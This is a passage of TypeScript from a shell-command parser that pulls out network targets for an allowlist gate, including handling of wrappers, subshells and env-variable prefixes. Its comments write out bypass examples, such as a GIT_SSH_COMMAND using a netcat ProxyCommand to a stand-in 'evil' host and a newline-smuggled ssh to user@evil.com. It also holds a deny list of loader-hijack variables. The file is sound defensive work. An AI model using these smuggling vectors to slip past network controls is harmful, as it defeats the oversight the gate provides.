Set([\n\t\"a\",\n\t\"b\",\n\t\"e\",\n\t\"f\",\n\t\"h\",\n\t\"i\",\n\t\"k\",\n\t\"l\",\n\t\"m\",\n\t\"n\",\n\t\"p\",\n\t\"q\", // script(1) quiet\n\t\"r\",\n\t\"s\",\n\t\"t\",\n\t\"u\",\n\t\"v\",\n\t\"x\",\n\t\"B\",\n\t\"C\",\n\t\"D\",\n\t\"E\",\n\t\"H\",\n\t\"P\",\n]);\nconst EXEC_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-a\"]);\n\nconst NETWORK_GIT_SUBCOMMANDS = new Set([\n\t\"archive\",\n\t\"clone\",\n\t\"config\",\n\t\"fetch\",\n\t\"ls-remote\",\n\t\"pull\",\n\t\"push\",\n\t\"remote\",\n\t\"submodule\",\n]);\n\nconst GIT_NESTED_SUBCOMMAND_WRAPPERS = new Set([\"lfs\", \"svn\"]);\n\nconst GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([\n\t\"-C\",\n\t\"-c\",\n\t\"--config-env\",\n\t\"--exec-path\",\n\t\"--git-dir\",\n\t\"--namespace\",\n\t\"--super-prefix\",\n\t\"--work-tree\",\n]);\n\nconst GIT_CLONE_FLAGS_WITH_VALUES = new Set([\n\t\"-b\",\n\t\"--branch\",\n\t\"-c\",\n\t\"--config\",\n\t\"--bundle-uri\",\n\t\"--depth\",\n\t\"--filter\",\n\t\"-j\",\n\t\"--jobs\",\n\t\"-o\",\n\t\"--origin\",\n\t\"--reference\",\n\t\"--reference-if-able\",\n\t\"--separate-git-dir\",\n\t\"--server-option\",\n\t\"--shallow-exclude\",\n\t\"--shallow-since\",\n\t\"--template\",\n\t\"-u\",\n\t\"--upload-pack\",\n]);\n\nconst GIT_REMOTE_ADD_FLAGS_WITH_VALUES = new Set([\n\t\"-m\",\n\t\"--master\",\n\t\"-t\",\n\t\"--track\",\n]);\n\nconst GIT_CONFIG_FLAGS_WITH_VALUES = new Set([\n\t\"-f\",\n\t\"--blob\",\n\t\"--comment\",\n\t\"--default\",\n\t\"--file\",\n\t\"--fixed-value\",\n\t\"--type\",\n\t\"--value\",\n]);\n\nconst GIT_REMOTE_LOCAL_ACTIONS = new Set([\n\t\"get-url\",\n\t\"prune\",\n\t\"remove\",\n\t\"rename\",\n\t\"rm\",\n\t\"set-branches\",\n\t\"set-head\",\n]);\n\nconst GIT_SUBMODULE_ADD_FLAGS_WITH_VALUES = new Set([\n\t\"-b\",\n\t\"--branch\",\n\t\"--depth\",\n\t\"--name\",\n\t\"--reference\",\n]);\n\nconst GIT_SUBMODULE_LOCAL_ACTIONS = new Set([\n\t\"absorbgitdirs\",\n\t\"deinit\",\n\t\"init\",\n\t\"set-branch\",\n\t\"status\",\n\t\"summary\",\n\t\"sync\",\n]);\n\n// rsync(1) reuses many short flags with different meanings than curl/ssh\n// (e.g. `-i` is `--itemize-changes`, `-o` is `--owner`, `-H` is\n// `--hard-links` — all booleans, not value-taking). Without a dedicated\n// set, the generic `FLAGS_WITH_VALUES` table treats them as value-taking\n// and silently consumes the next positional, which is frequently the\n// `user@host:path` remote — the bypass Cursor Bugbot flagged on PR\n// #2732. This list mirrors the rsync(1) flags that actually take the\n// next arg.\nconst RSYNC_FLAGS_WITH_VALUES = new Set([\n\t\"-B\",\n\t\"--block-size\",\n\t\"-e\",\n\t\"--rsh\",\n\t\"-f\",\n\t\"--filter\",\n\t\"-M\",\n\t\"--remote-option\",\n\t\"-T\",\n\t\"--temp-dir\",\n\t\"--address\",\n\t\"--backup-dir\",\n\t\"--bwlimit\",\n\t\"--checksum-choice\",\n\t\"--chmod\",\n\t\"--chown\",\n\t\"--compare-dest\",\n\t\"--compress-choice\",\n\t\"--compress-level\",\n\t\"--contimeout\",\n\t\"--copy-as\",\n\t\"--copy-dest\",\n\t\"--debug\",\n\t\"--exclude\",\n\t\"--exclude-from\",\n\t\"--files-from\",\n\t\"--groupmap\",\n\t\"--iconv\",\n\t\"--include\",\n\t\"--include-from\",\n\t\"--info\",\n\t\"--link-dest\",\n\t\"--log-file\",\n\t\"--log-file-format\",\n\t\"--max-alloc\",\n\t\"--max-size\",\n\t\"--min-size\",\n\t\"--modify-window\",\n\t\"--only-write-batch\",\n\t\"--out-format\",\n\t\"--partial-dir\",\n\t\"--password-file\",\n\t\"--port\",\n\t\"--protocol\",\n\t\"--read-batch\",\n\t\"--rsync-path\",\n\t\"--skip-compress\",\n\t\"--sockopts\",\n\t\"--stderr\",\n\t\"--suffix\",\n\t\"--timeout\",\n\t\"--usermap\",\n\t\"--write-batch\",\n]);\n\n// Flags that take a value as the next argument.\nconst FLAGS_WITH_VALUES = new Set([\n\t\"-X\",\n\t\"--request\",\n\t\"-o\",\n\t\"-O\",\n\t\"--output\",\n\t\"-H\",\n\t\"--header\",\n\t\"-d\",\n\t\"--data\",\n\t\"--data-raw\",\n\t\"--data-binary\",\n\t\"--data-urlencode\",\n\t\"-F\",\n\t\"--form\",\n\t\"-A\",\n\t\"--user-agent\",\n\t\"-u\",\n\t\"--user\",\n\t\"-T\",\n\t\"--upload-file\",\n\t\"-e\",\n\t\"--referer\",\n\t\"-b\",\n\t\"--cookie\",\n\t\"-c\",\n\t\"--cookie-jar\",\n\t\"-K\",\n\t\"--config\",\n\t\"--resolve\",\n\t\"--connect-to\",\n\t\"--max-time\",\n\t\"-m\",\n\t\"--retry\",\n\t\"--retry-delay\",\n\t\"-w\",\n\t\"--write-out\",\n\t\"-p\",\n\t\"--port\",\n\t\"-i\",\n\t\"--identity-file\",\n]);\n\nconst ENV_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-u\", \"--unset\"]);\n\nconst NICE_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-n\", \"--adjustment\"]);\n\nconst DOAS_WRAPPER_FLAGS_WITH_VALUES = new Set([\"-C\", \"-u\"]);\n\nconst SUDO_WRAPPER_FLAGS_WITH_VALUES = new Set([\n\t\"-C\",\n\t\"--close-from\",\n\t\"-g\",\n\t\"--group\",\n\t\"-h\",\n\t\"--host\",\n\t\"-p\",\n\t\"--prompt\",\n\t\"-T\",\n\t\"--command-timeout\",\n\t\"-u\",\n\t\"--user\",\n]);\n\nconst TIMEOUT_WRAPPER_FLAGS_WITH_VALUES = new Set([\n\t\"-k\",\n\t\"--kill-after\",\n\t\"-s\",\n\t\"--signal\",\n]);\n\nconst XARGS_WRAPPER_FLAGS_WITH_VALUES = new Set([\n\t\"-a\",\n\t\"--arg-file\",\n\t\"-d\",\n\t\"--delimiter\",\n\t\"-E\",\n\t\"--eof\",\n\t\"-e\",\n\t\"--eof-str\",\n\t\"-I\",\n\t\"--replace\",\n\t\"-i\",\n\t\"-L\",\n\t\"--max-lines\",\n\t\"-l\",\n\t\"-n\",\n\t\"--max-args\",\n\t\"-P\",\n\t\"--max-procs\",\n\t\"-s\",\n\t\"--max-chars\",\n]);\n\ninterface ShellToken {\n\tvalue: string;\n\tseparator: boolean;\n}\n\nfunction cleanExtractedUrl(url: string): string {\n\tconst trailingPunctuation = url.includes(\"://[\")\n\t\t? /[)},.;:]+$/\n\t\t: /[)}\\],.;:]+$/;\n\treturn url.replace(trailingPunctuation, \"\");\n}\n\nfunction shellCommandName(token: string): string {\n\tconst base = token.replace(/\\\\/g, \"\").split(\"/\").pop() ?? token;\n\treturn base.toLowerCase();\n}\n\nfunction isEnvAssignment(token: string): boolean {\n\treturn /^[A-Za-z_][A-Za-z0-9_]*=/.test(token);\n}\n\nfunction envAssignmentName(token: string): string | null {\n\tconst match = token.match(/^([A-Za-z_][A-Za-z0-9_]*)=/);\n\treturn match ? match[1]! : null;\n}\n\n// Bare env-var prefixes (`VAR=value VAR2=value cmd args`) that set\n// dangerous variables for the subsequent command. The bot-flagged\n// canonical case is\n// `GIT_SSH_COMMAND='ssh -o ProxyCommand=nc evil 22' git clone …`:\n// the parser then sees `git clone github.com:o/r`, extracts\n// github.com, and the policy allows the command — but the actual\n// SSH transport is the attacker-supplied `nc evil 22` command, not\n// real ssh. We treat any non-empty assignment to one of these\n// variables as opaque, the same way we treat ssh `-o ProxyCommand=`.\nconst OPAQUE_ENV_VAR_NAMES = new Set([\n\t// Tool-specific transport overrides.\n\t\"GIT_SSH\",\n\t\"GIT_SSH_COMMAND\",\n\t\"GIT_PROXY_COMMAND\",\n\t\"RSYNC_RSH\",\n\t\"CVS_RSH\",\n\t// Library/loader hijacks. Setting these inline is almost always\n\t// an attempt to intercept the subsequent process.\n\t\"LD_PRELOAD\",\n\t\"LD_LIBRARY_PATH\",\n\t\"LD_AUDIT\",\n\t\"DYLD_INSERT_LIBRARIES\",\n\t\"DYLD_LIBRARY_PATH\",\n\t\"DYLD_FALLBACK_LIBRARY_PATH\",\n\t// Shell startup-hijacks.\n\t\"BASH_ENV\",\n\t\"ENV\",\n\t\"PROMPT_COMMAND\",\n\t// curl / wget config overrides via env.\n\t\"CURL_HOME\",\n\t\"WGETRC\",\n]);\n\nfunction findOpaqueEnvAssignment(segment: string[]): string | null {\n\tfor (const token of segment) {\n\t\tif (!isEnvAssignment(token)) {\n\t\t\t// We've passed the env-prefix region; anything after is the\n\t\t\t// command itself, which is handled elsewhere.\n\t\t\treturn null;\n\t\t}\n\t\tconst name = envAssignmentName(token);\n\t\tif (name && OPAQUE_ENV_VAR_NAMES.has(name)) {\n\t\t\tconst value = token.slice(name.length + 1);\n\t\t\tif (value !== \"\") {\n\t\t\t\treturn `${name}=${value}`;\n\t\t\t}\n\t\t}\n\t}\n\treturn null;\n}\n\nfunction wrapperFlagTakesValue(commandName: string, flag: string): boolean {\n\tif (commandName === \"env\") {\n\t\treturn ENV_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"exec\") {\n\t\treturn EXEC_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"nice\") {\n\t\treturn NICE_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"doas\") {\n\t\treturn DOAS_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"sudo\") {\n\t\treturn SUDO_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"timeout\") {\n\t\treturn TIMEOUT_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\tif (commandName === \"xargs\") {\n\t\treturn XARGS_WRAPPER_FLAGS_WITH_VALUES.has(flag);\n\t}\n\treturn false;\n}\n\nfunction commandWrapperDoesNotExecute(segment: string[]): boolean {\n\tif (shellCommandName(segment[0] ?? \"\") !== \"command\") {\n\t\treturn false;\n\t}\n\n\tfor (let index = 1; index < segment.length; index += 1) {\n\t\tconst arg = segment[index]!;\n\t\tif (arg === \"--\") {\n\t\t\treturn false;\n\t\t}\n\t\tif (!arg.startsWith(\"-\") || arg === \"-\") {\n\t\t\treturn false;\n\t\t}\n\t\tif (arg === \"-v\" || arg === \"-V\") {\n\t\t\treturn true;\n\t\t}\n\t\tif (!arg.startsWith(\"--\") && /[vV]/.test(arg.slice(1))) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;\n}\n\nfunction tokenizeShellCommand(command: string): ShellToken[] {\n\tconst tokens: ShellToken[] = [];\n\tlet current = \"\";\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tconst pushCurrent = () => {\n\t\tif (current.length > 0) {\n\t\t\ttokens.push({ value: current, separator: false });\n\t\t\tcurrent = \"\";\n\t\t}\n\t};\n\n\tfor (let index = 0; index < command.length; index += 1) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tcurrent += char;\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote) {\n\t\t\tif (char === quote) {\n\t\t\t\tquote = null;\n\t\t\t} else {\n\t\t\t\tcurrent += char;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Treat `\\n` and `\\r` as command separators (equivalent to `;`).\n\t\t// bash splits on newlines the same way it splits on `;` —\n\t\t// `echo hi\\nssh user@evil.com` runs two commands. Without this\n\t\t// the parser folded both into one giant non-network command and\n\t\t// the SSH leg slipped past the allowlist gate.\n\t\tif (char === \"\\n\" || char === \"\\r\") {\n\t\t\tpushCurrent();\n\t\t\ttokens.push({ value: char, separator: true });\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (/\\s/.test(char)) {\n\t\t\tpushCurrent();\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \";\" || char === \"&\" || char === \"|\") {\n\t\t\tpushCurrent();\n\t\t\tconst next = command[index + 1];\n\t\t\tif ((char === \"&\" || char === \"|\") && next === char) {\n\t\t\t\ttokens.push({ value: `${char}${next}`, separator: true });\n\t\t\t\tindex += 1;\n\t\t\t} else {\n\t\t\t\ttokens.push({ value: char, separator: true });\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += char;\n\t}\n\n\tif (escaped) {\n\t\tcurrent += \"\\\\\";\n\t}\n\tpushCurrent();\n\n\treturn tokens;\n}\n\nfunction commandSegments(tokens: ShellToken[]): string[][] {\n\tconst segments: string[][] = [];\n\tlet current: string[] = [];\n\n\tfor (const token of tokens) {\n\t\tif (token.separator) {\n\t\t\tif (current.length > 0) {\n\t\t\t\tsegments.push(current);\n\t\t\t\tcurrent = [];\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tcurrent.push(token.value);\n\t}\n\n\tif (current.length > 0) {\n\t\tsegments.push(current);\n\t}\n\n\treturn segments;\n}\n\nfunction skipWrapperArgs(segment: string[], commandName: string): string[] {\n\tlet index = 1;\n\twhile (index < segment.length) {\n\t\tconst arg = segment[index]!;\n\t\tif (arg === \"--\") {\n\t\t\tindex += 1;\n\t\t\tbreak;\n\t\t}\n\t\tif (commandName === \"env\" && isEnvAssignment(arg)) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\t\tif (!arg.startsWith(\"-\")) {\n\t\t\tbreak;\n\t\t}\n\t\tconst [flag] = arg.split(\"=\", 1);\n\t\tindex += 1;\n\t\tif (\n\t\t\tflag &&\n\t\t\twrapperFlagTakesValue(commandName, flag) &&\n\t\t\t!arg.includes(\"=\") &&\n\t\t\tindex < segment.length\n\t\t) {\n\t\t\tindex += 1;\n\t\t}\n\t}\n\n\tif (commandName === \"timeout\" && index < segment.length) {\n\t\tindex += 1;\n\t}\n\n\treturn segment.slice(index);\n}\n\nfunction extractShellCommandArg(\n\tsegment: string[],\n\tindex: number,\n): { command: string | null; consumedArgs: number } | null {\n\tconst arg = segment[index]!;\n\n\tif (arg === \"--command\") {\n\t\treturn {\n\t\t\tcommand: segment[index + 1] ?? null,\n\t\t\tconsumedArgs: segment[index + 1] === undefined ? 1 : 2,\n\t\t};\n\t}\n\tif (arg.startsWith(\"--command=\")) {\n\t\treturn {\n\t\t\tcommand: arg.slice(\"--command=\".length) || null,\n\t\t\tconsumedArgs: 1,\n\t\t};\n\t}\n\tif (\n\t\tSHELL_FLAGS_WITH_VALUES.has(arg) ||\n\t\targ.startsWith(\"--init-file=\") ||\n\t\targ.startsWith(\"--rcfile=\") ||\n\t\targ.startsWith(\"-rcfile=\")\n\t) {\n\t\treturn null;\n\t}\n\tif (!arg.startsWith(\"-\") || arg.startsWith(\"--\")) {\n\t\treturn null;\n\t}\n\n\tconst commandFlagIndex = arg.indexOf(\"c\", 1);\n\tif (\n\t\tcommandFlagIndex === -1 ||\n\t\tcommandFlagIndex > 5 ||\n\t\t![...arg.slice(1, commandFlagIndex)].every((flag) =>\n\t\t\tSHELL_SHORT_FLAGS_BEFORE_COMMAND.has(flag),\n\t\t)\n\t) {\n\t\treturn null;\n\t}\n\n\tconst gluedCommand = arg.slice(commandFlagIndex + 1);\n\treturn {\n\t\tcommand:\n\t\t\tgluedCommand.length > 1 ? gluedCommand : (segment[index + 1] ?? null),\n\t\tconsumedArgs:\n\t\t\tgluedCommand.length > 1 || segment[index + 1] === undefined ? 1 : 2,\n\t};\n}\n\nfunction extractShellCommandString(segment: string[]): string | null {\n\tfor (let index = 1; index < segment.length; index += 1) {\n\t\tconst arg = segment[index]!;\n\t\tif (arg === \"--\") {\n\t\t\treturn null;\n\t\t}\n\t\tconst commandArg = extractShellCommandArg(segment, index);\n\t\tif (commandArg) {\n\t\t\treturn commandArg.command;\n\t\t}\n\t\tif (SHELL_FLAGS_WITH_VALUES.has(arg)) {\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\t\tif (\n\t\t\targ.startsWith(\"--init-file=\") ||\n\t\t\targ.startsWith(\"--rcfile=\") ||\n\t\t\targ.startsWith(\"-rcfile=\")\n\t\t) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (!arg.startsWith(\"-\")) {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction extractNestedShellCommand(segment: string[]): string | null {\n\tlet remaining = segment;\n\n\twhile (remaining.length > 0) {\n\t\tconst commandName = shellCommandName(remaining[0] ?? \"\");\n\t\tif (SHELL_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn extractShellCommandString(remaining);\n\t\t}\n\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tremaining = skipWrapperArgs(remaining, commandName);\n\t}\n\n\treturn null;\n}\n\nfunction findParenthesizedCommandEnd(\n\tcommand: string,\n\tstartIndex: number,\n\tstartOffset = 1,\n): number {\n\tlet depth = 1;\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tfor (\n\t\tlet index = startIndex + startOffset;\n\t\tindex < command.length;\n\t\tindex += 1\n\t) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === \"'\") {\n\t\t\tif (char === \"'\") {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === '\"') {\n\t\t\tif (char === '\"') {\n\t\t\t\tquote = null;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (\n\t\t\t\tchar === \"$\" &&\n\t\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\t\tcommand[index + 2] !== \"(\"\n\t\t\t) {\n\t\t\t\tdepth += 1;\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (\n\t\t\tchar === \"$\" &&\n\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\tcommand[index + 2] !== \"(\"\n\t\t) {\n\t\t\tdepth += 1;\n\t\t\tindex += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"(\") {\n\t\t\tdepth += 1;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \")\") {\n\t\t\tdepth -= 1;\n\t\t\tif (depth === 0) {\n\t\t\t\treturn index;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn -1;\n}\n\nfunction findCommandSubstitutionEnd(\n\tcommand: string,\n\tstartIndex: number,\n): number {\n\treturn findParenthesizedCommandEnd(command, startIndex, 2);\n}\n\nfunction extractSubshellCommands(command: string): string[] {\n\tconst commands: string[] = [];\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tconst startsAfterShellBoundary = (index: number): boolean => {\n\t\tfor (let current = index - 1; current >= 0; current -= 1) {\n\t\t\tconst value = command[current];\n\t\t\tif (value === \"\\n\" || value === \"\\r\") {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\tif (value && !/\\s/.test(value)) {\n\t\t\t\treturn value === \";\" || value === \"&\" || value === \"|\" || value === \"(\";\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t};\n\n\tfor (let index = 0; index < command.length; index += 1) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === \"'\") {\n\t\t\tif (char === \"'\") {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === '\"') {\n\t\t\tif (char === '\"') {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst isProcessSubstitution =\n\t\t\tcommand[index - 1] === \"<\" || command[index - 1] === \">\";\n\t\tif (\n\t\t\tchar === \"(\" &&\n\t\t\tcommand[index - 1] !== \"$\" &&\n\t\t\tcommand[index + 1] !== \"(\" &&\n\t\t\t(isProcessSubstitution || startsAfterShellBoundary(index))\n\t\t) {\n\t\t\tconst endIndex = findParenthesizedCommandEnd(command, index);\n\t\t\tif (endIndex !== -1) {\n\t\t\t\tconst nested = command.slice(index + 1, endIndex).trim();\n\t\t\t\tif (nested) {\n\t\t\t\t\tcommands.push(nested);\n\t\t\t\t}\n\t\t\t\tindex = endIndex;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn commands;\n}\n\nfunction extractFindExecSegments(segment: string[]): string[][] {\n\tconst commands: string[][] = [];\n\n\tfor (let index = 1; index < segment.length; index += 1) {\n\t\tconst arg = segment[index]!;\n\t\tif (\n\t\t\targ !== \"-exec\" &&\n\t\t\targ !== \"-execdir\" &&\n\t\t\targ !== \"-ok\" &&\n\t\t\targ !== \"-okdir\"\n\t\t) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst start = index + 1;\n\t\tlet end = start;\n\t\twhile (end < segment.length) {\n\t\t\tconst token = segment[end]!;\n\t\t\tif (token === \";\" || token === \"+\") {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tend += 1;\n\t\t}\n\n\t\tif (end > start) {\n\t\t\tcommands.push(segment.slice(start, end));\n\t\t}\n\t\tindex = end;\n\t}\n\n\treturn commands;\n}\n\nfunction extractEmbeddedCommandSegments(segment: string[]): string[][] {\n\tlet remaining = segment;\n\n\twhile (remaining.length > 0) {\n\t\tconst commandName = shellCommandName(remaining[0] ?? \"\");\n\t\tif (commandName === \"find\") {\n\t\t\treturn extractFindExecSegments(remaining);\n\t\t}\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn [];\n\t\t}\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\treturn [];\n\t\t}\n\t\tremaining = skipWrapperArgs(remaining, commandName);\n\t}\n\n\treturn [];\n}\n\nfunction nestedCommandSegments(\n\tsegment: string[],\n\tseen: Set<string>,\n): string[][] {\n\tconst segments: string[][] = [];\n\tconst nestedShell = extractNestedShellCommand(segment);\n\tif (nestedShell) {\n\t\tsegments.push(...allCommandSegments(nestedShell, seen));\n\t}\n\n\tfor (const embeddedSegment of extractEmbeddedCommandSegments(segment)) {\n\t\tsegments.push(\n\t\t\tembeddedSegment,\n\t\t\t...nestedCommandSegments(embeddedSegment, seen),\n\t\t);\n\t}\n\n\treturn segments;\n}\n\nfunction extractCommandSubstitutionCommands(command: string): string[] {\n\tconst commands: string[] = [];\n\tlet quote: \"'\" | '\"' | null = null;\n\tlet escaped = false;\n\n\tfor (let index = 0; index < command.length; index += 1) {\n\t\tconst char = command[index]!;\n\n\t\tif (escaped) {\n\t\t\tescaped = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"\\\\\") {\n\t\t\tescaped = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === \"'\") {\n\t\t\tif (char === \"'\") {\n\t\t\t\tquote = null;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (quote === '\"') {\n\t\t\tif (char === '\"') {\n\t\t\t\tquote = null;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (\n\t\t\t\tchar === \"$\" &&\n\t\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\t\tcommand[index + 2] !== \"(\"\n\t\t\t) {\n\t\t\t\tconst endIndex = findCommandSubstitutionEnd(command, index);\n\t\t\t\tif (endIndex !== -1) {\n\t\t\t\t\tconst nested = command.slice(index + 2, endIndex).trim();\n\t\t\t\t\tif (nested) {\n\t\t\t\t\t\tcommands.push(nested);\n\t\t\t\t\t}\n\t\t\t\t\tindex = endIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (char === \"`\") {\n\t\t\t\tconst endIndex = command.indexOf(\"`\", index + 1);\n\t\t\t\tif (endIndex !== -1) {\n\t\t\t\t\tconst nested = command.slice(index + 1, endIndex).trim();\n\t\t\t\t\tif (nested) {\n\t\t\t\t\t\tcommands.push(nested);\n\t\t\t\t\t}\n\t\t\t\t\tindex = endIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"'\" || char === '\"') {\n\t\t\tquote = char;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (\n\t\t\tchar === \"$\" &&\n\t\t\tcommand[index + 1] === \"(\" &&\n\t\t\tcommand[index + 2] !== \"(\"\n\t\t) {\n\t\t\tconst endIndex = findCommandSubstitutionEnd(command, index);\n\t\t\tif (endIndex !== -1) {\n\t\t\t\tconst nested = command.slice(index + 2, endIndex).trim();\n\t\t\t\tif (nested) {\n\t\t\t\t\tcommands.push(nested);\n\t\t\t\t}\n\t\t\t\tindex = endIndex;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (char === \"`\") {\n\t\t\tconst endIndex = command.indexOf(\"`\", index + 1);\n\t\t\tif (endIndex !== -1) {\n\t\t\t\tconst nested = command.slice(index + 1, endIndex).trim();\n\t\t\t\tif (nested) {\n\t\t\t\t\tcommands.push(nested);\n\t\t\t\t}\n\t\t\t\tindex = endIndex;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn commands;\n}\n\nfunction allCommandSegments(\n\tcommand: string,\n\tseen = new Set<string>(),\n): string[][] {\n\tif (seen.has(command)) {\n\t\treturn [];\n\t}\n\tseen.add(command);\n\n\tconst segments = commandSegments(tokenizeShellCommand(command));\n\tconst nestedSegments = segments.flatMap((segment) =>\n\t\tnestedCommandSegments(segment, seen),\n\t);\n\tconst substitutionSegments = extractCommandSubstitutionCommands(\n\t\tcommand,\n\t).flatMap((nested) => allCommandSegments(nested, seen));\n\tconst subshellSegments = extractSubshellCommands(command).flatMap((nested) =>\n\t\tallCommandSegments(nested, seen),\n\t);\n\n\treturn [\n\t\t...segments,\n\t\t...nestedSegments,\n\t\t...substitutionSegments,\n\t\t...subshellSegments,\n\t];\n}\n\nfunction unwrapNetworkInvocation(\n\tsegment: string[],\n): { commandName: string; args: string[]; display: string[] } | null {\n\tlet remaining = segment;\n\n\t// Skip bash-style bare env-var prefixes (`VAR=value VAR2=value\n\t// cmd args`). Without this the parser sees `GIT_SSH_COMMAND=…` as\n\t// the first token, finds no network command, and bails — so\n\t// `GIT_SSH_COMMAND='…' git clone github.com:o/r` was undetected\n\t// even though it's the canonical smuggle vector. The opaque-env\n\t// detector (`findOpaqueEnvAssignment`) runs on the original segment\n\t// in `findOpaqueNetworkShellCommand` so the dangerous prefix is\n\t// still inspected — we just need to skip past it here so the\n\t// underlying command is recognized for URL extraction.\n\twhile (remaining.length > 0 && isEnvAssignment(remaining[0]!)) {\n\t\tremaining = remaining.slice(1);\n\t}\n\n\twhile (remaining.length > 0) {\n\t\tconst commandName = shellCommandName(remaining[0] ?? \"\");\n\t\tif (NETWORK_COMMANDS.has(commandName)) {\n\t\t\treturn {\n\t\t\t\tcommandName,\n\t\t\t\targs: remaining.slice(1),\n\t\t\t\tdisplay: remaining,\n\t\t\t};\n\t\t}\n\n\t\tif (!NETWORK_WRAPPER_COMMANDS.has(commandName)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif (commandWrapperDoesNotExecute(remaining)) {\n\t\t\treturn null;\n\t\t}\n\n\t\tremaining = skipWrapperArgs(remaining, commandName);\n\t}\n\n\treturn null;\n}\n\nfunction looksLikeHostTarget(value: string): boolean {\n\tif (!value || value.startsWith(\"-\")) {\n\t\treturn false;\n\t}\n\tif (/^https?:\\/\\//i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^\\[[0-9a-f:.%]+\\](?::\\d+)?(?:\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^(?:\\d{1,3}\\.){3}\\d{1,3}(?::\\d+)?(?:\\/.*)?$/.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^localhost(?::\\d+)?(?:\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^[a-z0-9.-]+\\.[a-z0-9-]+(?::\\d+)?(?:\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\tif (/^[^@\\s]+@[a-z0-9.-]+\\.[a-z0-9-]+(?::[^\\s]+|\\/.*)?$/i.test(value)) {\n\t\treturn true;\n\t}\n\treturn false;\n}\n\nfunction targetToUrl(value: string): string | null {\n\tlet target = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\tif 